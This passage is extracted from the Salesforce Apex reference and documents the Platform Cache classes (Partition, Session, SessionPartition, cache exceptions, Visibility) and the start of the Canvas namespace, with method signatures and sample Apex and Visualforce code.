<br/>Counter Initial Value: <apex:inputText value="{!counterInitValue}"/>
<apex:commandButton action="{!save}" value="Save Key Input Values"/>
</apex:form>
<apex:outputPanel id="output">
<br/>Cached Counter: <apex:outputText value="{!counter}"/>
</apex:outputPanel>
<br/>
<apex:form >
<apex:commandButton id="go" action="{!go}" value="Rerender" rerender="output"/>
<apex:commandButton id="remove" action="{!remove}" value="Remove Key"
rerender="output"/>
</apex:form>
</apex:page>

Cache Key Format for Partition Methods

After you obtain the partition object (an instance of Cache.OrgPartition or Cache.SessionPartition), the methods
to add, retrieve, and manage the cache values in a partition take the key name. The key name that you supply to these methods (get(),
put(), remove(), and contains()) doesnt include the namespace.partition prefix.
IN THIS SECTION:
Partition Methods
SEE ALSO:
OrgPartition Class
SessionPartition Class
Platform Cache

Partition Methods
The following are methods for Partition.
IN THIS SECTION:
contains(key)
Returns true if the cache partition contains a cached value corresponding to the specified key.
createFullyQualifiedKey(namespace, partition, key)
Generates a fully qualified key from the passed-in key components. The format of the generated key string is
namespace.partition.key.
createFullyQualifiedPartition(namespace, partition)
Generates a fully qualified partition name from the passed-in namespace and partition. The format of the generated partition string
is namespace.partition.
get(key)
Returns the cached value corresponding to the specified key from the cache partition.
getCapacity()
Returns the percentage of cache used of the total capacity for this partition.
getKeys()
Returns a set of all keys that are stored in the cache partition and visible to the invoking namespace.

715

Reference

Partition Class

getName()
Returns the name of this cache partition.
isAvailable()
Returns true if the Salesforce session is available. Only applies to Cache.SessionPartition.
put(key, value)
Stores the specified key/value pair as a cached entry in the cache partition. The put method can write only to the cache in your
orgs namespace.
put(key, value, visibility)
Stores the specified key/value pair as a cached entry in the cache partition and sets the cached values visibility.
put(key, value, ttlSecs)
Stores the specified key/value pair as a cached entry in the cache partition and sets the cached values lifetime.
put(key, value, ttlSecs, visibility, immutable)
Stores the specified key/value pair as a cached entry in the cache partition. This method also sets the cached values lifetime, visibility,
and whether it can be overwritten by another namespace.
remove(key)
Deletes the cached value corresponding to the specified key from this cache partition.
validateKey(isDefault, key)
Validates a cache key. This method throws a Cache.InvalidParamException if the key is not valid. A valid key is not
null and contains alphanumeric characters.
validateKeyValue(isDefault, key, value)
Validates a cache key and ensures that the cache value is non-null. This method throws a Cache.InvalidParamException
if the key or value is not valid. A valid key is not null and contains alphanumeric characters.
validateKeys(isDefault, keys)
Validates the specified cache keys. This method throws a Cache.InvalidParamException if the key is not valid. A valid
key is not null and contains alphanumeric characters.
validatePartitionName(name)
Validates the partition name for example, that it is not null.

contains(key)
Returns true if the cache partition contains a cached value corresponding to the specified key.

Signature
public Boolean contains(String key)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value.

Return Value
Type: Boolean

716

Reference

Partition Class

true if a cache entry is found. Othewise, false.

createFullyQualifiedKey(namespace, partition, key)

Generates a fully qualified key from the passed-in key components. The format of the generated key string is
namespace.partition.key.

Signature
public static String createFullyQualifiedKey(String namespace, String partition, String
key)

Parameters
namespace

Type: String
The namespace of the cache key.
partition

Type: String
The partition of the cache key.
key

Type: String
The name of the cache key.

Return Value
Type: String

createFullyQualifiedPartition(namespace, partition)
Generates a fully qualified partition name from the passed-in namespace and partition. The format of the generated partition string is
namespace.partition.

Signature
public static String createFullyQualifiedPartition(String namespace, String partition)

Parameters
namespace

Type: String
The namespace of the cache key.
partition

Type: String
The partition of the cache key.

717

Reference

Partition Class

Return Value
Type: String

get(key)
Returns the cached value corresponding to the specified key from the cache partition.

Signature
public Object get(String key)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value.

Return Value
Type: Object
The cached value as a generic object type. Cast the returned value to the appropriate type.

getCapacity()
Returns the percentage of cache used of the total capacity for this partition.

Signature
public Double getCapacity()

Return Value
Type: Double
Used partition cache as a percentage number.

getKeys()
Returns a set of all keys that are stored in the cache partition and visible to the invoking namespace.

Signature
public Set<String> getKeys()

Return Value
Type: Set<String>
A set containing all cache keys.

718

Reference

Partition Class

getName()
Returns the name of this cache partition.

Signature
public String getName()

Return Value
Type: String
The name of this cache partition.

isAvailable()
Returns true if the Salesforce session is available. Only applies to Cache.SessionPartition.

Signature
public Boolean isAvailable()

Return Value
Type: Boolean

put(key, value)
Stores the specified key/value pair as a cached entry in the cache partition. The put method can write only to the cache in your orgs
namespace.

Signature
public void put(String key, Object value)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value.
value

Type: Object
The value to store in the cache. The cached value must be serializable.

Return Value
Type: void

put(key, value, visibility)

Stores the specified key/value pair as a cached entry in the cache partition and sets the cached values visibility.

719

Reference

Partition Class

Signature
public void put(String key, Object value, cache.Visibility visibility)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value.
value

Type: Object
The value to store in the cache. The cached value must be serializable.
visibility

Type: Cache.Visibility
Indicates whether the cached value is available only to Apex code that is executing in the same namespace or to Apex code executing
from any namespace.

Return Value
Type: void

put(key, value, ttlSecs)

Stores the specified key/value pair as a cached entry in the cache partition and sets the cached values lifetime.

Signature
public void put(String key, Object value, Integer ttlSecs)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value.
value

Type: Object
The value to store in the cache. The cached value must be serializable.
ttlSecs

Type: Integer
The amount of time, in seconds, to keep the cached value in the cache.

Return Value
Type: void

720

Reference

Partition Class

put(key, value, ttlSecs, visibility, immutable)

Stores the specified key/value pair as a cached entry in the cache partition. This method also sets the cached values lifetime, visibility,
and whether it can be overwritten by another namespace.

Signature
public void put(String key, Object value, Integer ttlSecs, cache.Visibility visibility,
Boolean immutable)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value.
value

Type: Object
The value to store in the cache. The cached value must be serializable.
ttlSecs

Type: Integer
The amount of time, in seconds, to keep the cached value in the cache.
visibility

Type: Cache.Visibility
Indicates whether the cached value is available only to Apex code that is executing in the same namespace or to Apex code executing
from any namespace.
immutable

Type: Boolean
Indicates whether the cached value can be overwritten by another namespace (false) or not (true).

Return Value
Type: void

remove(key)
Deletes the cached value corresponding to the specified key from this cache partition.

Signature
public Boolean remove(String key)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value.

721

Reference

Partition Class

Return Value
Type: Boolean
true if the cache value was successfully removed. Otherwise, false.

validateKey(isDefault, key)
Validates a cache key. This method throws a Cache.InvalidParamException if the key is not valid. A valid key is not null
and contains alphanumeric characters.

Signature
public static void validateKey(Boolean isDefault, String key)

Parameters
isDefault

Type: Boolean
Set to true if the key references a default partition. Otherwise, set to false.
key

Type: String
The key to validate.

Return Value
Type: void

validateKeyValue(isDefault, key, value)

Validates a cache key and ensures that the cache value is non-null. This method throws a Cache.InvalidParamException if
the key or value is not valid. A valid key is not null and contains alphanumeric characters.

Signature
public static void validateKeyValue(Boolean isDefault, String key, Object value)

Parameters
isDefault

Type: Boolean
Set to true if the key references a default partition. Otherwise, set to false.
key

Type: String
The key to validate.
value

Type: Object
The cache value to validate.

722

Reference

Session Class

Return Value
Type: void

validateKeys(isDefault, keys)
Validates the specified cache keys. This method throws a Cache.InvalidParamException if the key is not valid. A valid key
is not null and contains alphanumeric characters.

Signature
public static void validateKeys(Boolean isDefault, Set<String> keys)

Parameters
isDefault

Type: Boolean
Set to true if the key references a default partition. Otherwise, set to false.
keys

Type: Set<String>
A set of key string values to validate.

Return Value
Type: void

validatePartitionName(name)
Validates the partition name for example, that it is not null.

Signature
public static void validatePartitionName(String name)

Parameters
name

Type: String
The name of the partition to validate.

Return Value
Type: void

Session Class
Use the Cache.Session class to add, retrieve, and manage values in the session cache. The session cache is active as long as the
users Salesforce session is valid (the user is logged in, and the session is not expired).

723

Reference

Session Class

Namespace
Cache

Usage
Cache Key Format
This table lists the format of the key parameter that some methods in this class take, such as put, get, and contains.
Key Format

Description

namespace.partition.key

Fully qualified key name.

key

Refers to a partition marked as default when the

namespace.partition prefix is omitted.

local.partition.key

Use the local prefix to refer to the orgs namespace when the
org doesnt have a namespace defined. If the org has a namespace
defined, the local prefix also refers to that orgs namespace.

Note:
If no default partition is specified in the org, calling a cache method without fully qualifying the key name causes a
Cache.Session.SessionCacheException to be thrown.
The local prefix in an installed managed package refers to the namespace of the subscriber org and not the packages
namespace. The cache put calls are not allowed in a partition that the invoking class doesnt own.
Session cache doesnt support asynchronous Apex. For example, you cant use future methods or batch Apex with session
cache.

Example
This class is the controller for a sample Visualforce page (shown in the subsequent code sample). The cached values are initially added
to the cache by the init() method, which the Visualforce page invokes when it loads through the action attribute. The cache
keys dont contain the namespace.partition prefix. They all refer to a default partition in your org. The Visualforce page expects
a partition named myPartition. To run this sample, create a default partition in your org with the name myPartition.
The Visualforce page contains four output components. The first three components call get methods on the controller that return the
following values from the cache: a date, data based on the MyData inner class, and a counter. The next output component uses the
$Cache.Session global variable to get the cached string value for the key named output. Next, the $Cache.Session global
variable is used again in the Visualforce page to iterate over the elements of a cached value of type List. The size of the list is also
returned.
The Visualforce page also contains two buttons. The Rerender button invokes the go() method on the controller. This method increases
the values of the counter and the custom data in the cache. If you click Rerender, the two counters increase by one each time. The
go() method retrieves the values of these counters from the cache, increments their values by one, and stores them again in the
cache.

724

Reference

Session Class

The Remove button deletes the date-time value (with key datetime) from the cache. As a result, the value next to Cached
datetime: is cleared on the page.
public class SessionCacheController {
// Inner class.
// Used as the data type of a cache value.
class MyData {
public String value { get; set; }
public Integer counter { get; set; }
public MyData(String value) {
this.value = value;
this.counter = 0;
}
public void inc() {
counter++;
}
override public String toString() {
return this.value + ':' + this.counter;
}
}
// Apex List.
// Used as the data type of a cached value.
private List<String> numbers =
new List<String> { 'ONE', 'TWO', 'THREE', 'FOUR', 'FIVE' };
// Constructor of the controller for the Visualforce page.
public SessionCacheController() {
}
// Adds various values to the cache.
// This method is called when the Visualforce page loads.
public void init() {
// All key values are not qualified by the namespace.partition
// prefix because they use the default partition.
// Add counter to the cache with initial value of 0
// or increment it if it's already there.
if (!Cache.Session.contains('counter')) {
Cache.Session.put('counter', 0);
} else {
Cache.Session.put('counter', getCounter() + 1);
}
// Add the datetime value to the cache only if it's not already there.
if (!Cache.Session.contains('datetime')) {
DateTime dt = DateTime.now();
Cache.Session.put('datetime', dt);
}
// Add the custom data to the cache only if it's not already there.

725

Reference

Session Class

if (!Cache.Session.contains('data')) {
Cache.Session.put('data', new MyData('Some custom value'));
}
// Add a list of number to the cache if not already there.
if (!Cache.Session.contains('list')) {
Cache.Session.put('list', numbers);
}
// Add a string value to the cache if not already there.
if (!Cache.Session.contains('output')) {
Cache.Session.put('output', 'Cached text value');
}
}
// Return counter from the cache.
public Integer getCounter() {
return (Integer)Cache.Session.get('counter');
}
// Return datetime value from the cache.
public String getCachedDatetime() {
DateTime dt = (DateTime)Cache.Session.get('datetime');
return dt != null ? dt.format() : null;
}
// Return cached value whose type is the inner class MyData.
public String getCachedData() {
MyData mydata = (MyData)Cache.Session.get('data');
return mydata != null ? mydata.toString() : null;
}
// Method invoked by the Rerender button on the Visualforce page.
// Updates the values of various cached values.
// Increases the values of counter and the MyData counter if those
//
cache values are still in the cache.
public PageReference go() {
// Increase the cached counter value or set it to 0
// if it's not cached.
if (Cache.Session.contains('counter')) {
Cache.Session.put('counter', getCounter() + 1);
} else {
Cache.Session.put('counter', 0);
}
// Get the custom data value from the cache.
MyData d = (MyData)Cache.Session.get('data');
// Only if the data is already in the cache, update it.
if (Cache.Session.contains('data')) {
d.inc();
Cache.Session.put('data', d);
}
return null;

726

Reference

Session Class

}
// Method invoked by the Remove button on the Visualforce page.
// Removes the datetime cached value from the session cache.
public PageReference remove() {
Cache.Session.remove('datetime');
return null;
}
}

This is the Visualforce page that corresponds to the SessionCacheController class.

<apex:page controller="SessionCacheController" action="{!init}">
<apex:outputPanel id="output">
<br/>Cached datetime: <apex:outputText value="{!cachedDatetime}"/>
<br/>Cached data: <apex:outputText value="{!cachedData}"/>
<br/>Cached counter: <apex:outputText value="{!counter}"/>
<br/>Output: <apex:outputText value="{!$Cache.Session.local.myPartition.output}"/>
<br/>Repeat: <apex:repeat var="item"
value="{!$Cache.Session.local.myPartition.list}">
<apex:outputText value="{!item}"/> 
</apex:repeat>
<br/>List size: <apex:outputText
value="{!$Cache.Session.local.myPartition.list.size}"/>
</apex:outputPanel>
<br/><br/>
<apex:form >
<apex:commandButton id="go" action="{!go}" value="Rerender" rerender="output"/>
<apex:commandButton id="remove" action="{!remove}" value="Remove datetime Key"
rerender="output"/>
</apex:form>
</apex:page>

IN THIS SECTION:
Session Constants
The Session class provides a constant that you can use when setting the time-to-live (TTL) value.

727

Reference

Session Class

Session Methods
SEE ALSO:
Platform Cache

Session Constants
The Session class provides a constant that you can use when setting the time-to-live (TTL) value.
Constant

Description

MAX_TTL_SECS

Represents the maximum amount of time, in seconds, to keep the cached value in the
session cache.

Session Methods
The following are methods for Session. All methods are static.
IN THIS SECTION:
contains(key)
Returns true if the session cache contains a cached value corresponding to the specified key.
get(key)
Returns the cached value corresponding to the specified key from the session cache.
getCapacity()
Returns the percentage of session cache capacity that has been used.
getKeys()
Returns all keys that are stored in the session cache and visible to the invoking namespace.
getName()
Returns the name of the default cache partition.
getPartition(partitionName)
Returns a partition from the session cache that corresponds to the specified partition name.
isAvailable()
Returns true if the session cache is available for use.
put(key, value)
Stores the specified key/value pair as a cached entry in the session cache. The put method can write only to the cache in your orgs
namespace.
put(key, value, visibility)
Stores the specified key/value pair as a cached entry in the session cache and sets the cached values visibility.
put(key, value, ttlSecs)
Stores the specified key/value pair as a cached entry in the session cache and sets the cached values lifetime.
put(key, value, ttlSecs, visibility, immutable)
Stores the specified key/value pair as a cached entry in the session cache. This method also sets the cached values lifetime, visibility,
and whether it can be overwritten by another namespace.

728

Reference

Session Class

remove(key)
Deletes the cached value corresponding to the specified key from the session cache.

contains(key)
Returns true if the session cache contains a cached value corresponding to the specified key.

Signature
public static Boolean contains(String key)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.

Return Value
Type: Boolean
true if a cache entry is found. Othewise, false.

get(key)
Returns the cached value corresponding to the specified key from the session cache.

Signature
public static Object get(String key)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.

Return Value
Type: Object
The cached value as a generic object type. Cast the returned value to the appropriate type.

Usage
Because Cache.Session.get() returns an object, we recommend that you cast the returned value to a specific type to facilitate
use of the returned value.
// Get a cached value
Object obj = Cache.Session.get('ns1.partition1.orderDate');

729

Reference

Session Class

// Cast return value to a specific data type

DateTime dt2 = (DateTime)obj;

If a Cache.Session.get() call doesnt find the referenced key, it returns null.

getCapacity()
Returns the percentage of session cache capacity that has been used.

Signature
public static Double getCapacity()

Return Value
Type: Double
Used cache as a percentage number.

getKeys()
Returns all keys that are stored in the session cache and visible to the invoking namespace.

Signature
public static Set<String> getKeys()

Return Value
Type: Set<String>
A set containing all cache keys.

getName()
Returns the name of the default cache partition.

Signature
public String getName()

Return Value
Type: String
The name of the default cache partition.

getPartition(partitionName)
Returns a partition from the session cache that corresponds to the specified partition name.

730

Reference

Session Class

Signature
public static cache.SessionPartition getPartition(String partitionName)

Parameters
partitionName

Type: String
A partition name that is qualified by the namespace, for example, namespace.partition.

Return Value
Type: Cache.SessionPartition

Example
After you get the session partition, you can add and retrieve the partitions cache values.
// Get partition
Cache.SessionPartition sessionPart = Cache.Session.getPartition('myNs.myPartition');
// Retrieve cache value from the partition
if (sessionPart.contains('BookTitle')) {
String cachedTitle = (String)sessionPart.get('BookTitle');
}
// Add cache value to the partition
sessionPart.put('OrderDate', Date.today());
// Or use dot notation to call partition methods
String cachedAuthor =
(String)Cache.Session.getPartition('myNs.myPartition').get('BookAuthor');

isAvailable()
Returns true if the session cache is available for use.

Signature
public static Boolean isAvailable()

Return Value
Type: Boolean
true if the session cache is available. Otherwise, false.

put(key, value)
Stores the specified key/value pair as a cached entry in the session cache. The put method can write only to the cache in your orgs
namespace.

731

Reference

Session Class

Signature
public static void put(String key, Object value)

Parameters
key

Type: String
A string that uniquely identifies the value to be cached. For information about the format of the key name, see Usage.
value

Type: Object
The value to store in the cache. The cached value must be serializable.

Return Value
Type: void

put(key, value, visibility)

Stores the specified key/value pair as a cached entry in the session cache and sets the cached values visibility.

Signature
public static void put(String key, Object value, Cache.Visibility visibility)

Parameters
key

Type: String
A string that uniquely identifies the value to be cached. For information about the format of the key name, see Usage.
value

Type: Object
The value to store in the cache. The cached value must be serializable.
visibility

Type: Cache.Visibility
Indicates whether the cached value is available only to Apex code that is executing in the same namespace or to Apex code executing
from any namespace.

Return Value
Type: void

put(key, value, ttlSecs)

Stores the specified key/value pair as a cached entry in the session cache and sets the cached values lifetime.

732

Reference

Session Class

Signature
public static void put(String key, Object value, Integer ttlSecs)

Parameters
key

Type: String
A string that uniquely identifies the value to be cached. For information about the format of the key name, see Usage.
value

Type: Object
The value to store in the cache. The cached value must be serializable.
ttlSecs

Type: Integer
The amount of time, in seconds, to keep the cached value in the session cache. The cached values remain in the cache as long as
the Salesforce session hasnt expired. The maximum value is 28,800 seconds or eight hours. The minimum value is 300 seconds or
five minutes.

Return Value
Type: void

put(key, value, ttlSecs, visibility, immutable)

Stores the specified key/value pair as a cached entry in the session cache. This method also sets the cached values lifetime, visibility,
and whether it can be overwritten by another namespace.

Signature
public static void put(String key, Object value, Integer ttlSecs, cache.Visibility
visibility, Boolean immutable)

Parameters
key

Type: String
A string that uniquely identifies the value to be cached. For information about the format of the key name, see Usage.
value

Type: Object
The value to store in the cache. The cached value must be serializable.
ttlSecs

Type: Cache.Visibility

733

Reference

SessionPartition Class

Indicates whether the cached value is available only to Apex code that is executing in the same namespace or to Apex code executing
from any namespace.
immutable

Type: Boolean
Indicates whether the cached value can be overwritten by another namespace (false) or not (true).

Return Value
Type: void

remove(key)
Deletes the cached value corresponding to the specified key from the session cache.

Signature
public static Boolean remove(String key)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.

Return Value
Type: Boolean
true if the cache value was successfully removed. Otherwise, false.

SessionPartition Class
Contains methods to manage cache values in the session cache of a specific partition.

Namespace
Cache

Usage
This class extends Cache.Partition and inherits all of its non-static methods. Utility methods for creating and validating keys are not
supported and can be called only from the Cache.Partition parent class. For a list of Cache.Partition methods, see
Partition Methods.
To get a session partition, call Cache.Session.getPartition and pass in a fully qualified partition name, as follows.
Cache.SessionPartition sessionPartition =
Cache.Session.getPartition('namespace.myPartition');

See Cache Key Format for Partition Methods.

734

Reference

SessionPartition Class

Example
This class is the controller for a sample Visualforce page (shown in the subsequent code sample). The controller shows how to use the
methods of Cache.SessionPartition to manage a cache value on a particular partition. The controller takes inputs from the
Visualforce page for the partition name, key name for a counter, and initial counter value. The controller contains default values for these
inputs. When you click Rerender on the Visualforce page, the go() method is invoked and increases the counter by one. When you
click Remove Key, the counter key is removed from the cache. The counter value gets reset to its initial value when its re-added to the
cache.
public class SessionPartitionController {
// Name of a partition in the local namespace
String partitionInput = 'local.myPartition';
// Name of the key
String counterKeyInput = 'counter';
// Key initial value
Integer counterInitValue = 0;
// Session partition object
Cache.SessionPartition sessionPartition;
// Constructor of the controller for the Visualforce page.
public SessionPartitionController() {
}
// Adds counter value to the cache.
// This method is called when the Visualforce page loads.
public void init() {
// Create the partition instance based on the partition name
sessionPartition = getPartition();
// Add counter to the cache with an initial value
// or increment it if it's already there.
if (!sessionPartition.contains(counterKeyInput)) {
sessionPartition.put(counterKeyInput, counterInitValue);
} else {
sessionPartition.put(counterKeyInput, getCounter() + 1);
}
}
// Returns the session partition based on the partition name
// given in the Visualforce page or the default value.
private Cache.SessionPartition getPartition() {
if (sessionPartition == null) {
sessionPartition = Cache.Session.getPartition(partitionInput);
}
return sessionPartition;
}
// Return counter from the cache.
public Integer getCounter() {
return (Integer)getPartition().get(counterKeyInput);
}

735

Reference

SessionPartition Class

// Invoked by the Submit button to save input values

// supplied by the user.
public PageReference save() {
// Reset the initial key value in the cache
getPartition().put(counterKeyInput, counterInitValue);
return null;
}
// Method invoked by the Rerender button on the Visualforce page.
// Updates the values of various cached values.
// Increases the values of counter and the MyData counter if those
//
cache values are still in the cache.
public PageReference go() {
// Get the partition object
sessionPartition = getPartition();
// Increase the cached counter value or set it to 0
// if it's not cached.
if (sessionPartition.contains(counterKeyInput)) {
sessionPartition.put(counterKeyInput, getCounter() + 1);
} else {
sessionPartition.put(counterKeyInput, counterInitValue);
}
return null;
}
// Method invoked by the Remove button on the Visualforce page.
// Removes the datetime cached value from the session cache.
public PageReference remove() {
getPartition().remove(counterKeyInput);
return null;
}
// Get and set methods for accessing variables
// that correspond to the input text fields on
// the Visualforce page.
public String getPartitionInput() {
return partitionInput;
}
public String getCounterKeyInput() {
return counterKeyInput;
}
public Integer getCounterInitValue() {
return counterInitValue;
}
public void setPartitionInput(String partition) {
this.partitionInput = partition;
}

736

Reference

Cache Exceptions

public void setCounterKeyInput(String keyName) {

this.counterKeyInput = keyName;
}
public void setCounterInitValue(Integer counterValue) {
this.counterInitValue = counterValue;
}
}

This is the Visualforce page that corresponds to the SessionPartitionController class.

<apex:page controller="SessionPartitionController" action="{!init}">
<apex:form >
<br/>Partition with Namespace Prefix: <apex:inputText value="{!partitionInput}"/>
<br/>Counter Key Name: <apex:inputText value="{!counterKeyInput}"/>
<br/>Counter Initial Value: <apex:inputText value="{!counterInitValue}"/>
<apex:commandButton action="{!save}" value="Save Key Input Values"/>
</apex:form>
<apex:outputPanel id="output">
<br/>Cached Counter: <apex:outputText value="{!counter}"/>
</apex:outputPanel>
<br/>
<apex:form >
<apex:commandButton id="go" action="{!go}" value="Rerender" rerender="output"/>
<apex:commandButton id="remove" action="{!remove}" value="Remove Key"
rerender="output"/>
</apex:form>
</apex:page>

An error occurred while adding or retrieving a value in the session

cache.

Cache.Session.SessionCacheNoSessionException An attempt is made to access the cache when the session cache

isnt available.

737

Reference

Visibility Enum

Exception

Thrown when

Cache.OrgCacheException

An attempt is made to access a partition that doesnt exist or whose

name is invalid.

Cache.InvalidParamException

An invalid parameter value is passed into a method of

Cache.Session or Cache.Org. This error occurs when:
The key referenced is null or empty or is not alphanumeric.
The namespace referenced is null or empty.
The partition name is null or empty or is not alphanumeric.
Another referenced value is null.

Cache.ItemSizeLimitExceededException

A cache put call is made with an item that exceeds the maximum
size limit. To fix this error, break the item into multiple, smaller items.

Cache.PlatformCacheInvalidOperationException A cache put or remove call is made that is not allowed. For
example, when calling put or remove inside a Visualforce

constructor.

Visibility Enum
Use the Cache.Visibility enumeration in the Cache.Session or Cache.Org methods to indicate whether a cached
value is visible only in the values namespace or in all namespaces.

Enum Values
The following are the values of the Cache.Visibility enum.
Value

Description

ALL

The cached value is available to Apex code executing

from any namespace. This is the default state.

NAMESPACE

The cached value is available to Apex code executing

from the same namespace.
If a key has the Visibility.NAMESPACE
attribute, a get method initiated from a different
namespace returns null.

Canvas Namespace
The Canvas namespace provides an interface and classes for canvas apps in Salesforce.
The following are the interfaces and classes in the Canvas namespace.

738

Reference

ApplicationContext Interface

IN THIS SECTION:
ApplicationContext Interface
Use this interface to retrieve application context information, such as the application version or URL.
CanvasLifecycleHandler Interface
Implement this interface to control context information and add custom behavior during the application render phase.
ContextTypeEnum Enum
Describes context data that can be excluded from canvas app context data. You specify which context types to exclude in the
excludeContextTypes() method in your CanvasLifecycleHandler implementation.
EnvironmentContext Interface
Use this interface to retrieve environment context information, such as the app display location or the configuration parameters.
RenderContext Interface
A wrapper interface that is used to retrieve application and environment context information.
Test Class
Contains methods for automated testing of your Canvas classes.
Canvas Exceptions
The Canvas namespace contains exception classes.

ApplicationContext Interface
Use this interface to retrieve application context information, such as the application version or URL.

Namespace
Canvas

Usage
The ApplicationContext interface provides methods to retrieve application information about the canvas app thats being
rendered. Most of the methods are read-only. For this interface, you dont need to create an implementation. Use the default
implementation that Salesforce provides.
IN THIS SECTION:
ApplicationContext Methods

ApplicationContext Methods
The following are methods for ApplicationContext.
IN THIS SECTION:
getCanvasUrl()
Retrieves the fully qualified URL of the canvas app.
getDeveloperName()
Retrieves the internal API name of the canvas app.

739

Reference

ApplicationContext Interface

getName()
Retrieves the name of the canvas app.
getNamespace()
Retrieves the namespace prefix of the canvas app.
getVersion()
Retrieves the current version of the canvas app.
setCanvasUrlPath(newPath)
Overrides the URL of the canvas app for the current request.

getCanvasUrl()
Retrieves the fully qualified URL of the canvas app.

Signature
public String getCanvasUrl()

Return Value
Type: String

Usage
Use this method to get the URL of the canvas app, for example:
http://instance.salesforce.com:8080/canvas_app_path/canvas_app.jsp.

getDeveloperName()
Retrieves the internal API name of the canvas app.

Signature
public String getDeveloperName()

Return Value
Type: String

Usage
Use this method to get the API name of the canvas app. You specify this value in the API Name field when you expose the canvas
app by creating a connected app.

getName()
Retrieves the name of the canvas app.

740

Reference

ApplicationContext Interface

Signature
public String getName()

Return Value
Type: String

Usage
Use this method to get the name of the canvas app.

getNamespace()
Retrieves the namespace prefix of the canvas app.

Signature
public String getNamespace()

Return Value
Type: String

Usage
Use this method to get the Salesforce namespace prefix thats associated with the canvas app.

getVersion()
Retrieves the current version of the canvas app.

Signature
public String getVersion()

Return Value
Type: String

Usage
Use this method to get the current version of the canvas app. This value changes after you update and republish a canvas app in an
organization. If you are in a Developer Edition organization, using this method always returns the latest version.

setCanvasUrlPath(newPath)
Overrides the URL of the canvas app for the current request.

Signature
public void setCanvasUrlPath(String newPath)

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Reference

CanvasLifecycleHandler Interface

Parameters
newPath

Type: String
The URL (not including domain) that you need to use to override the canvas app URL.

Return Value
Type: Void

Usage
Use this method to override the URL path and query string of the canvas app. Do not provide a fully qualified URL, because the provided
URL string will be appended to the original canvas URL domain.
For example, if the current canvas app URL is https://myserver.com:6000/myAppPath and you call
setCanvasUrlPath('/alternatePath/args?arg1=1&arg2=2'), the adjusted canvas app URL will be
https://myserver.com:6000/alternatePath/args?arg1=1&arg2=2.
If the provided path results in a malformed URL, or a URL that exceeds 2,048 characters, a System.CanvasException will be thrown.
This method overrides the canvas app URL for the current request and does not permanently change the canvas app URL as configured
in the UI for the Salesforce canvas app settings.

CanvasLifecycleHandler Interface
Implement this interface to control context information and add custom behavior during the application render phase.

Namespace
Canvas

Usage
Use this interface to specify what canvas context information is provided to your app by implementing the excludeContextTypes()
method. Use this interface to call custom code when the app is rendered by implementing the onRender() method.
If you provide an implementation of this interface, you must implement excludeContextTypes() and onRender().

Example Implementation
The following example shows a simple implementation of CanvasLifecycleHandler that specifies that organization context information
will be excluded and prints a debug message when the app is rendered.
public class MyCanvasListener
implements Canvas.CanvasLifecycleHandler{
public Set<Canvas.ContextTypeEnum> excludeContextTypes(){
Set<Canvas.ContextTypeEnum> excluded = new Set<Canvas.ContextTypeEnum>();
excluded.add(Canvas.ContextTypeEnum.ORGANIZATION);
return excluded;
}
public void onRender(Canvas.RenderContext renderContext){

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Reference

CanvasLifecycleHandler Interface

System.debug('Canvas lifecycle called.');

}
}

IN THIS SECTION:
CanvasLifecycleHandler Methods

CanvasLifecycleHandler Methods
The following are methods for CanvasLifecycleHandler.
IN THIS SECTION:
excludeContextTypes()
Lets the implementation exclude parts of the CanvasRequest context, if the application does not need it.
onRender(renderContext)
Invoked when a canvas app is rendered. Provides the ability to set and retrieve canvas application and environment context information
during the application render phase.

excludeContextTypes()
Lets the implementation exclude parts of the CanvasRequest context, if the application does not need it.

Signature
public Set<Canvas.ContextTypeEnum> excludeContextTypes()

Return Value
Type: SET<Canvas.ContextTypeEnum>
This method must return null or a set of zero or more ContextTypeEnum values. Returning null enables all attributes by default.
ContextTypeEnum values that can be set are:
Canvas.ContextTypeEnum.ORGANIZATION
Canvas.ContextTypeEnum.RECORD_DETAIL
Canvas.ContextTypeEnum.USER
See ContextTypeEnum on page 744 for more details on these values.

Usage
Implement this method to specify which attributes to disable in the context of the canvas app. A disabled attribute will set the associated
canvas context information to null.
Disabling attributes can help improve performance by reducing the size of the signed request and canvas context. Also, disabled attributes
do not need to be retrieved by Salesforce, which further improves performance.
See the Force.com Canvas Developers Guide for more information on context information in the Context object thats provided in the
CanvasRequest.

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Reference

ContextTypeEnum Enum

Example
This example implementation specifies that the organization information will be disabled in the canvas context.
public Set<Canvas.ContextTypeEnum> excludeContextTypes() {
Set<Canvas.ContextTypeEnum> excluded = new Set<Canvas.ContextTypeEnum>();
excluded.add(Canvas.ContextTypeEnum.ORGANIZATION);
return excluded;
}

onRender(renderContext)
Invoked when a canvas app is rendered. Provides the ability to set and retrieve canvas application and environment context information
during the application render phase.

Signature
public void onRender(Canvas.RenderContext renderContext)

Parameters
renderContext

Type: Canvas.RenderContext

Return Value
Type: Void

Usage
If implemented, this method is called whenever the canvas app is rendered. The implementation can set and retrieve context information
by using the provided Canvas.RenderContext.
This method is called whenever signed request or context information is retrieved by the client. See the Force.com Canvas Developers
Guide for more information on signed request authentication.

Example
This example implementation prints Canvas lifecycle called. to the debug log when the canvas app is rendered.
public void onRender(Canvas.RenderContext renderContext) {
System.debug('Canvas lifecycle called.');
}

ContextTypeEnum Enum
Describes context data that can be excluded from canvas app context data. You specify which context types to exclude in the
excludeContextTypes() method in your CanvasLifecycleHandler implementation.

Namespace
Canvas

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Reference

EnvironmentContext Interface

Enum Values
Value

Description

ORGANIZATION

Exclude context information about the organization in which the canvas app is
running.

RECORD_DETAIL

Exclude context information about the object record on which the canvas app
appears.

USER

Exclude context information about the current user.

EnvironmentContext Interface
Use this interface to retrieve environment context information, such as the app display location or the configuration parameters.

Namespace
Canvas

Usage
The EnvironmentContext interface provides methods to retrieve environment information about the current canvas app. For
this interface, you dont need to create an implementation. Use the default implementation that Salesforce provides.
IN THIS SECTION:
EnvironmentContext Methods

